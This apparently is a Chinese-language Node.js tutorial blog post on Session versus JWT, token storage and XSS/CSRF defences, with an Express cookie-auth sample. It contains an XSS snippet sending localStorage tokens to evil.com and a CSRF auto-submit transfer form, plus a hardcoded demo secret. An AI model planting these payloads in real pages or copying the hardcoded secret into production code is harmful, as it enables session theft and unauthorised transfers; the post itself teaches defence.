iT邦幫忙

2025 iThome 鐵人賽

DAY 23
0
Modern Web

現在就學Node.js系列 第 23

Session vs JWT + Token 儲存安全 - Day23

  • 分享至 

  • xImage
  •  

在前幾章中,我們已經完成了密碼加密(bcrypt)與登入驗證(JWT)的實作。

假設沒有安全的登入機制,駭客只要偷走 Token,就能假冒使用者、發送 API、甚至操作你的資料庫。

今天的文章說明,要來理解:

  • Session 和 JWT 有什麼差異
  • Token 應該放哪裡最安全
  • 如何防止駭客攻擊
  • 最後有一個範例程式碼

Session vs JWT 的差異

登入後,我們要「讓伺服器記得使用者是誰」。這有兩種主流作法:

項目 Session JWT
儲存位置 伺服器(記憶體或 Redis) 客戶端(Cookie 或 LocalStorage)
狀態性 有狀態 (Stateful) – 伺服器必須記得使用者 無狀態 (Stateless) – Token 自帶身分資訊
驗證方式 查表比對 Session ID 驗證 Token 簽章
可擴展性 多伺服器需共享 Session Token 可跨伺服器使用
適合場景 傳統伺服器渲染網站 前後端分離、行動 App、微服務架構

Token 儲存位置:Cookie vs LocalStorage

簽發的 JWT 要放哪裡?這個決定影響整個系統的安全性。

儲存位置 優點 缺點
LocalStorage 操作簡單、方便 可能被 XSS 攻擊 竊取 Token
HttpOnly Cookie 無法被 JS 讀取,安全性高 若設定錯誤,可能遭 CSRF 攻擊

建議策略:

  • 一般前後端分離應用 → 可考慮 Access + Refresh Token 模式。
  • 高安全性系統 → 使用 HttpOnly Cookie
  • 若需跨域登入(如前端 5173、後端 3000) → 記得開啟 CORS 並允許 Cookie 傳遞。

Token Rotation(旋轉策略)

為了防止 Token 被竊取後長期有效,我們會使用「雙 Token 機制」:

一個短期的 Access Token + 一個長期的 Refresh Token。

類型 有效期 儲存位置 用途
Access Token 10 分鐘 Cookie 或 LocalStorage 存取 API
Refresh Token 7 天 HttpOnly Cookie 更新 Access Token

流程:

1️⃣ 登入後簽發兩個 Token。

2️⃣ Access Token 過期 → 前端用 Refresh Token 呼叫 /refresh

3️⃣ 驗證通過 → 發新 Access Token。

防止常見攻擊

1️⃣ XSS(跨網站指令攻擊)

駭客怎麼攻擊?

假設你的留言板允許輸入 HTML,駭客可以這樣放一段惡意程式碼:

<script>
fetch('https://evil.com/steal?token=' + localStorage.getItem('token'))
</script>

一旦有訪客載入該頁面,這段程式就會執行並把 Token 傳給駭客。

防禦策略:

  • 使用 HttpOnly Cookie 儲存 Token,讓前端 JS 無法存取。
  • 前端在輸入內容要做 HTML escape
  • 啟用 Content-Security-Policy (CSP) 限制外部 JS 載入。

2️⃣ CSRF(跨站請求偽造)

駭客怎麼攻擊?

假設使用者登入了你的銀行網站(有 Cookie Token),

駭客寄封信給他,內含這段隱藏表單:

<form action="https://bank.com/api/transfer" method="POST">
  <input type="hidden" name="amount" value="10000" />
  <input type="hidden" name="to" value="attacker" />
  <script>document.forms[0].submit()</script>
</form>

瀏覽器會自動帶上 Cookie(因為同域),結果使用者的錢就被轉走了

防禦策略:

  • 設定 Cookie 屬性:

    res.cookie("token", token, {
      httpOnly: true,
      sameSite: "strict",
      secure: true, // 僅限 HTTPS
    });
    

HttpOnly、SameSite、Secure 屬性解釋

屬性 說明
HttpOnly 瀏覽器無法用 JS 讀取 Cookie,防止 XSS。
SameSite 限制跨站 Cookie 傳送。Strict 最安全、Lax 適合登入頁。
Secure 只在 HTTPS 傳送 Cookie。

範例程式碼(含 CORS + Cookie)

import express from "express";
import cors from "cors";
import cookieParser from "cookie-parser";
import jwt from "jsonwebtoken";

const app = express();
app.use(express.json());
app.use(cookieParser());

// ✅ CORS 設定
app.use(cors({
  origin: "http://localhost:5173",
  credentials: true,
}));

const SECRET = "mysecretkey";

// 登入:簽發 Token 並放進 Cookie
app.post("/login", (req, res) => {
  const { email } = req.body;
  const token = jwt.sign({ email }, SECRET, { expiresIn: "10m" });

  res.cookie("token", token, {
    httpOnly: true,
    sameSite: "strict",
    secure: false,
  });

  res.json({ message: "登入成功" });
});

// 驗證:取出 Cookie 中的 Token
app.get("/profile", (req, res) => {
  const token = req.cookies.token;
  if (!token) return res.status(401).json({ error: "未登入" });

  jwt.verify(token, SECRET, (err, decoded) => {
    if (err) return res.status(403).json({ error: "Token 無效或過期" });
    res.json({ message: "登入中", user: decoded });
  });
});

// 登出
app.post("/logout", (req, res) => {
  res.clearCookie("token");
  res.json({ message: "登出成功" });
});

app.listen(3000, () => console.log("✅ Server 啟動:http://localhost:3000"));

小結:整體觀念整理

主題 重點說明
Session vs JWT Session 適合傳統網站,JWT 適合前後端分離
Token 儲存策略 優先使用 HttpOnly Cookie,避免 XSS
XSS 防禦 避免 JS 存取 Token,開啟 CSP
CSRF 防禦 SameSite=Strict + CSRF Token 雙重驗證
雙 Token 策略 Access 短期、Refresh 長期,自動續期更安全

上一篇
JWT 登入與驗證 — 打造安全的 RESTful API -Day22
下一篇
JWT Refresh Token 自動延長機制 - Day24
系列文
現在就學Node.js24
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言